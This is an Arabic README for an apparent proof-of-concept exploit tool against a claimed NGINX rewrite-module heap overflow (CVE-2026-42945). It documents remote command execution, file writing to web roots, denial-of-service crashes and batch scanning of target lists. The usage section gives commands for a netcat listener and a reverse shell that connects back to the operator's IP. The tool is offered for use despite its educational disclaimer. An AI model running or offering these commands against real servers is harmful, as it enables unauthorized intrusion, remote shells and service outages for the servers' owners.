استغلال NGINX Rift لـ RCE (CVE-2026-42945) من @DepthFirstDisclosures
أداة إثبات مفهوم (PoC) احترافية للبحث وتحديد ثغرة NGINX Rift، وهي تجاوز سعة مخزن مؤقت حرج في كومة الذاكرة في وحدة ngx_http_rewrite_module.
نظرة عامة على الثغرة
- معرف CVE: CVE-2026-42945
- الاسم المستعار: NGINX Rift
- الخطورة: حرجة (CVSS 9.2)
- الإصدارات المتأثرة: NGINX 0.6.27 إلى 1.30.0
- السبب الجذري: خطأ في عدم تطابق الحجم في محرك إعادة الكتابة ذو المرورين عند استخدام التقاطات PCRE غير المسماة ($1, $2) وسلاسل الاستبدال التي تحتوي على ?.
- التأثير: تنفيذ أوامر عن بُعد غير مصادق عليه (RCE) أو رفض الخدمة (DoS).
الميزات
- دعم متعدد الأوضاع: اختبار عبر عنوان URL واحد أو قائمة دفعة من ملف .txt.
- طرق استغلال متعددة:
- id: تنفيذ أمر id (افتراضي).
- sleep: تحقق زمني (مثالي لـ RCE الأعمى).
- write: محاولة كتابة ملف إلى أدلة جذر الويب الشائعة.
- shell: إرسال شيل عكسي يعتمد على بايثون.
- crash: تشغيل تعطل بسيط لعملية العامل (DoS).
- واجهة ملونة: مؤشرات بصرية واضحة للحالات الضعيفة (أخضر) والآمنة (أحمر) والتصحيح (أصفر/أزرق).
- تسجيل مفصل: تفاعل على مستوى المقبس للباحثين.
الاستخدام
1. فحص هدف واحد
python3 poc.py --url http://target.com --method id
2. فحص متعدد الأهداف دفعة واحدة
أنشئ ملفًا باسم targets.txt مع عنوان URL واحد لكل سطر:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
ثم شغّل:
python3 poc.py --list targets.txt --method sleep
3. أوامر مخصصة ووضع التصريف المفصل
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. شيل عكسي
شغّل المستمع أولاً: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
فهم النتائج
- [+] ضعيف (أخضر): تسبب الاستغلال في توقيع تلف الذاكرة. إذا تم استخدامه مع sleep، تحقق مما إذا كان وقت الاستجابة يطابق مدة السكون.
- [-] الهدف ليس ضعيفًا (أحمر): لم يتمكن الاستغلال من إحداث تعطل باستخدام مرشحات الذاكرة المتوفرة.
- [DEBUG] (أصفر/أزرق): معلومات أساسية عن رش الكومة وعناوين المرشحين.
المتطلبات والقيود
- Python 3.x: لا توجد مكتبات خارجية مطلوبة (يستخدم socket و argparse القياسيين).
- ASLR: يستخدم إثبات المفهوم هذا عناوين ذاكرة ثابتة. على الأنظمة التي يكون فيها ASLR ممكّنًا، سيؤدي الاستغلال على الأرجح إلى رفض الخدمة (DoS) بدلاً من RCE ما لم يتم توفير تسرب للذاكرة.
- تعزيز الأمان: قد يمنع تصفية الخروج (جدران الحماية) طرق curl أو shell من إرسال البيانات إليك. استخدم طريقة sleep للحصول على تأكيد أكثر موثوقية.
إخلاء مسؤولية
هذه الأداة مخصصة للأغراض التعليمية والتدقيق الأمني المصرح به فقط. المؤلف غير مسؤول عن أي استخدام خاطئ أو ضرر ناتج عن هذا البرنامج النصي. احصل دائمًا على إذن صريح قبل الاختبار ضد أي بنية تحتية.